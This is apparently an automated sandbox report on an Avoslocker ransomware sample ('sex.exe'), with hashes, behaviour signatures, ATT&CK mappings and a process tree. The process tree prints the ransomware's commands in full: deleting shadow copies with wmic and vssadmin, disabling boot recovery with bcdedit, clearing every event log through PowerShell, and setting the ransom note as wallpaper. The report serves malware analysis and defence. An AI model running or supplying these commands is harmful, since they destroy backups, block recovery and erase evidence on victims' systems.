Analysis
-
max time kernel
118s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
29-12-2024 00:22
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
sex.exe
Resource
win7-20240708-en
windows7-x64
19 signatures
150 seconds
Behavioral task
behavioral2
Sample
sex.exe
Resource
win10v2004-20241007-en
windows10-2004-x64
26 signatures
150 seconds
General
-
Target
sex.exe
-
Size
3.2MB
-
MD5
8723cc503a22121c16aff46292e93864
-
SHA1
c9a5e6e7e7ddb134a7e16659e344cf5f7f44fe84
-
SHA256
320bfe152dcc772f7a44379e7929d452dc2221b8cec9bc11344068832a143b6a
-
SHA512
f45bfb11d9f69613a89bdadc85ec90cb2e3eaa7cf40380e48a028966bcbd4cb9b6a225a16dc09036c1a65d3db9cabecc0c130c7c5c2605f41e53b4f708ecc6c7
-
SSDEEP
24576:7Imw98okVgela0as5CqLVO7XJCjkD3N0HRAKSUpZr3y2amHY6MdefqTXeZty61ky:9L5ljasaU1Zat81wua7bUScTLTXO+2N
Malware Config
Signatures
-
Avoslocker Ransomware
Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.
-
Avoslocker family
-
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 2916 bcdedit.exe 1648 bcdedit.exe -
Renames multiple (10407) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Executes dropped EXE 2 IoCs
pid Process 2168 hack.exe 2464 rufus-4.6p.exe -
Loads dropped DLL 1 IoCs
pid Process 1960 sex.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI hack.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: hack.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1165895028.png" reg.exe -
resource yara_rule behavioral1/files/0x00090000000120f9-24565.dat upx behavioral1/memory/2464-24576-0x000000013F7A0000-0x000000013FC0E000-memory.dmp upx behavioral1/memory/2464-24575-0x000000013F7A0000-0x000000013FC0E000-memory.dmp upx -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\Microsoft Games\Hearts\en-US\GET_YOUR_FILES_BACK.txt hack.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-applemenu.jar hack.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_performance_Thumbnail.bmp hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveProjectToolset\BriefcaseIcon.jpg hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\Publisher\Backgrounds\WB00516L.GIF hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02361_.WMF hack.exe File created C:\Program Files\Microsoft Games\Multiplayer\Checkers\en-US\GET_YOUR_FILES_BACK.txt hack.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Scoresbysund hack.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-execution.jar hack.exe File opened for modification C:\Program Files\Common Files\System\Ole DB\sqlxmlx.rll hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\MedianResume.Dotx hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Teal.css hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0285782.WMF hack.exe File opened for modification C:\Program Files\VideoLAN\VLC\skins\default.vlt hack.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\San_Luis hack.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationRight_SelectionSubpicture.png hack.exe File created C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\GET_YOUR_FILES_BACK.txt hack.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\10.png hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0291984.WMF hack.exe File opened for modification C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl hack.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\fr-FR\js\picturePuzzle.js hack.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\.lastModified hack.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Luxembourg hack.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Karachi hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\LABELHM.POC hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD01157_.WMF hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA00806_.WMF hack.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\he.pak hack.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsScenesBackground_PAL.wmv hack.exe File created C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\oskmenu\GET_YOUR_FILES_BACK.txt hack.exe File opened for modification C:\Program Files\Microsoft Games\Multiplayer\Spades\en-US\ShvlRes.dll.mui hack.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\hwresplm.dat hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0235241.WMF hack.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\images\bPrev.png hack.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo hack.exe File created C:\Program Files\Java\jre7\lib\cmm\GET_YOUR_FILES_BACK.txt hack.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\date-span-16.png hack.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationUp_ButtonGraphic.png hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\SNIPE.POC hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\FD00074_.WMF hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE00478_.WMF hack.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.nl_zh_4.4.0.v20140623020002.jar hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE02950_.WMF hack.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\MANIFEST.MF hack.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Zurich hack.exe File created C:\Program Files (x86)\Microsoft Office\Office14\CONVERT\GET_YOUR_FILES_BACK.txt hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\rtf_underline.gif hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0105504.WMF hack.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-core.jar hack.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF hack.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\MST7MDT hack.exe File created C:\Program Files\Common Files\Microsoft Shared\TextConv\ja-JP\GET_YOUR_FILES_BACK.txt hack.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\buttonDown_Off.png hack.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\it-IT\css\calendar.css hack.exe File created C:\Program Files (x86)\Microsoft Office\CLIPART\Publisher\Backgrounds\GET_YOUR_FILES_BACK.txt hack.exe File created C:\Program Files\Microsoft Games\Mahjong\de-DE\GET_YOUR_FILES_BACK.txt hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\EXLIRM.XML hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\ACCWIZ\UTILITY.ACCDA hack.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\meta\art\02_frenchtv.luac hack.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox.nl_zh_4.4.0.v20140623020002.jar hack.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\feature.xml hack.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BOATINST.WMF hack.exe File created C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\QUAD\GET_YOUR_FILES_BACK.txt hack.exe File created C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\Access.en-us\GET_YOUR_FILES_BACK.txt hack.exe -
pid Process 4064 powershell.exe 3660 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language hack.exe -
Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2720 vssadmin.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2168 hack.exe 4064 powershell.exe 3660 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeTakeOwnershipPrivilege 2168 hack.exe Token: SeIncreaseQuotaPrivilege 3828 WMIC.exe Token: SeSecurityPrivilege 3828 WMIC.exe Token: SeTakeOwnershipPrivilege 3828 WMIC.exe Token: SeLoadDriverPrivilege 3828 WMIC.exe Token: SeSystemProfilePrivilege 3828 WMIC.exe Token: SeSystemtimePrivilege 3828 WMIC.exe Token: SeProfSingleProcessPrivilege 3828 WMIC.exe Token: SeIncBasePriorityPrivilege 3828 WMIC.exe Token: SeCreatePagefilePrivilege 3828 WMIC.exe Token: SeBackupPrivilege 3828 WMIC.exe Token: SeRestorePrivilege 3828 WMIC.exe Token: SeShutdownPrivilege 3828 WMIC.exe Token: SeDebugPrivilege 3828 WMIC.exe Token: SeSystemEnvironmentPrivilege 3828 WMIC.exe Token: SeRemoteShutdownPrivilege 3828 WMIC.exe Token: SeUndockPrivilege 3828 WMIC.exe Token: SeManageVolumePrivilege 3828 WMIC.exe Token: 33 3828 WMIC.exe Token: 34 3828 WMIC.exe Token: 35 3828 WMIC.exe Token: SeIncreaseQuotaPrivilege 3828 WMIC.exe Token: SeSecurityPrivilege 3828 WMIC.exe Token: SeTakeOwnershipPrivilege 3828 WMIC.exe Token: SeLoadDriverPrivilege 3828 WMIC.exe Token: SeSystemProfilePrivilege 3828 WMIC.exe Token: SeSystemtimePrivilege 3828 WMIC.exe Token: SeProfSingleProcessPrivilege 3828 WMIC.exe Token: SeIncBasePriorityPrivilege 3828 WMIC.exe Token: SeCreatePagefilePrivilege 3828 WMIC.exe Token: SeBackupPrivilege 3828 WMIC.exe Token: SeRestorePrivilege 3828 WMIC.exe Token: SeShutdownPrivilege 3828 WMIC.exe Token: SeDebugPrivilege 3828 WMIC.exe Token: SeSystemEnvironmentPrivilege 3828 WMIC.exe Token: SeRemoteShutdownPrivilege 3828 WMIC.exe Token: SeUndockPrivilege 3828 WMIC.exe Token: SeManageVolumePrivilege 3828 WMIC.exe Token: 33 3828 WMIC.exe Token: 34 3828 WMIC.exe Token: 35 3828 WMIC.exe Token: SeBackupPrivilege 1468 vssvc.exe Token: SeRestorePrivilege 1468 vssvc.exe Token: SeAuditPrivilege 1468 vssvc.exe Token: SeDebugPrivilege 4064 powershell.exe Token: SeBackupPrivilege 4064 powershell.exe Token: SeSecurityPrivilege 4064 powershell.exe Token: SeBackupPrivilege 4064 powershell.exe Token: SeBackupPrivilege 4064 powershell.exe Token: SeSecurityPrivilege 4064 powershell.exe Token: SeBackupPrivilege 4064 powershell.exe Token: SeBackupPrivilege 4064 powershell.exe Token: SeSecurityPrivilege 4064 powershell.exe Token: SeBackupPrivilege 4064 powershell.exe Token: SeBackupPrivilege 4064 powershell.exe Token: SeSecurityPrivilege 4064 powershell.exe Token: SeBackupPrivilege 4064 powershell.exe Token: SeBackupPrivilege 4064 powershell.exe Token: SeSecurityPrivilege 4064 powershell.exe Token: SeBackupPrivilege 4064 powershell.exe Token: SeBackupPrivilege 4064 powershell.exe Token: SeSecurityPrivilege 4064 powershell.exe Token: SeBackupPrivilege 4064 powershell.exe Token: SeSecurityPrivilege 4064 powershell.exe -
Suspicious use of WriteProcessMemory 52 IoCs
description pid Process procid_target PID 1960 wrote to memory of 2168 1960 sex.exe 30 PID 1960 wrote to memory of 2168 1960 sex.exe 30 PID 1960 wrote to memory of 2168 1960 sex.exe 30 PID 1960 wrote to memory of 2168 1960 sex.exe 30 PID 2168 wrote to memory of 2700 2168 hack.exe 32 PID 2168 wrote to memory of 2700 2168 hack.exe 32 PID 2168 wrote to memory of 2700 2168 hack.exe 32 PID 2168 wrote to memory of 2700 2168 hack.exe 32 PID 2168 wrote to memory of 2748 2168 hack.exe 33 PID 2168 wrote to memory of 2748 2168 hack.exe 33 PID 2168 wrote to memory of 2748 2168 hack.exe 33 PID 2168 wrote to memory of 2748 2168 hack.exe 33 PID 2168 wrote to memory of 2764 2168 hack.exe 34 PID 2168 wrote to memory of 2764 2168 hack.exe 34 PID 2168 wrote to memory of 2764 2168 hack.exe 34 PID 2168 wrote to memory of 2764 2168 hack.exe 34 PID 2168 wrote to memory of 2768 2168 hack.exe 35 PID 2168 wrote to memory of 2768 2168 hack.exe 35 PID 2168 wrote to memory of 2768 2168 hack.exe 35 PID 2168 wrote to memory of 2768 2168 hack.exe 35 PID 2168 wrote to memory of 2780 2168 hack.exe 36 PID 2168 wrote to memory of 2780 2168 hack.exe 36 PID 2168 wrote to memory of 2780 2168 hack.exe 36 PID 2168 wrote to memory of 2780 2168 hack.exe 36 PID 2748 wrote to memory of 2720 2748 cmd.exe 37 PID 2748 wrote to memory of 2720 2748 cmd.exe 37 PID 2748 wrote to memory of 2720 2748 cmd.exe 37 PID 2768 wrote to memory of 2916 2768 cmd.exe 38 PID 2768 wrote to memory of 2916 2768 cmd.exe 38 PID 2768 wrote to memory of 2916 2768 cmd.exe 38 PID 2700 wrote to memory of 3828 2700 cmd.exe 39 PID 2700 wrote to memory of 3828 2700 cmd.exe 39 PID 2700 wrote to memory of 3828 2700 cmd.exe 39 PID 2780 wrote to memory of 4064 2780 cmd.exe 40 PID 2780 wrote to memory of 4064 2780 cmd.exe 40 PID 2780 wrote to memory of 4064 2780 cmd.exe 40 PID 2764 wrote to memory of 1648 2764 cmd.exe 41 PID 2764 wrote to memory of 1648 2764 cmd.exe 41 PID 2764 wrote to memory of 1648 2764 cmd.exe 41 PID 2168 wrote to memory of 3660 2168 hack.exe 46 PID 2168 wrote to memory of 3660 2168 hack.exe 46 PID 2168 wrote to memory of 3660 2168 hack.exe 46 PID 2168 wrote to memory of 3660 2168 hack.exe 46 PID 1960 wrote to memory of 2464 1960 sex.exe 47 PID 1960 wrote to memory of 2464 1960 sex.exe 47 PID 1960 wrote to memory of 2464 1960 sex.exe 47 PID 3660 wrote to memory of 1548 3660 powershell.exe 48 PID 3660 wrote to memory of 1548 3660 powershell.exe 48 PID 3660 wrote to memory of 1548 3660 powershell.exe 48 PID 3660 wrote to memory of 3676 3660 powershell.exe 49 PID 3660 wrote to memory of 3676 3660 powershell.exe 49 PID 3660 wrote to memory of 3676 3660 powershell.exe 49 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\sex.exe"C:\Users\Admin\AppData\Local\Temp\sex.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Users\Admin\AppData\Local\Temp\hack.exe"C:\Users\Admin\AppData\Local\Temp\hack.exe"2⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2168 -
C:\Windows\system32\cmd.execmd /c wmic shadowcopy delete /nointeractive3⤵
- Suspicious use of WriteProcessMemory
PID:2700 -
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete /nointeractive4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3828
-
-
-
C:\Windows\system32\cmd.execmd /c vssadmin.exe Delete Shadows /All /Quiet3⤵
- Suspicious use of WriteProcessMemory
PID:2748 -
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet4⤵
- Interacts with shadow copies
PID:2720
-
-
-
C:\Windows\system32\cmd.execmd /c bcdedit /set {default} recoveryenabled No3⤵
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No4⤵
- Modifies boot configuration data using bcdedit
PID:1648
-
-
-
C:\Windows\system32\cmd.execmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Suspicious use of WriteProcessMemory
PID:2768 -
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
PID:2916
-
-
-
C:\Windows\system32\cmd.execmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"3⤵
- Suspicious use of WriteProcessMemory
PID:2780 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4064
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3660 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1165895028.png /f4⤵
- Sets desktop wallpaper using registry
PID:1548
-
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False4⤵PID:3676
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\rufus-4.6p.exe"C:\Users\Admin\AppData\Local\Temp\rufus-4.6p.exe"2⤵
- Executes dropped EXE
PID:2464
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1468
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Windows Management Instrumentation
1Defense Evasion
Direct Volume Access
1Indicator Removal
2File Deletion
2Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
807KB
MD5e27b5291c8fb2dfdeb7f16bb6851df5e
SHA140207f83b601cd60905c1f807ac0889c80dfe33f
SHA256ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f
SHA5122ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD523a832602f8e75f746031909173a9126
SHA1a0b3fcd67dbea3c1b772de9028c5b03e7c5b19e8
SHA2565576138d71d1fb54bb38ee227ac21617e5b5f42fadffc04346632abaf2d9eee2
SHA51263e87ec3165de6b016eb84824f10f2c2d2373faa81ba500b85ed5d9304b00c6bcad79a81a7ed14ad36224bf80fe2376f52fee8190d2aaf8d5169d11bc488b899
-
Filesize
1011B
MD5c92c2b70fb37f84aab38412ad9226aa8
SHA114f2e9a83285612d0a7b2c83b8f89bccfde6c154
SHA256d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f
SHA51204f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848
-
Filesize
1.5MB
MD58fe64da09af371b02a31828415ece8f3
SHA15b5c90dcd425c814b555a4567405601aa977ee0b
SHA2568279696c1d78b14618500e9135886a3667b9decc65946f3729002e4bfdbb20ab
SHA512e49f9b1c9d33364101ad2fd4f2c5ed030700cc941bb469cf2ce7d5b32c51cab9e62b265e05cbd92435453e7e4008c9990bea532298676f7d81e5d6dcdc2f590b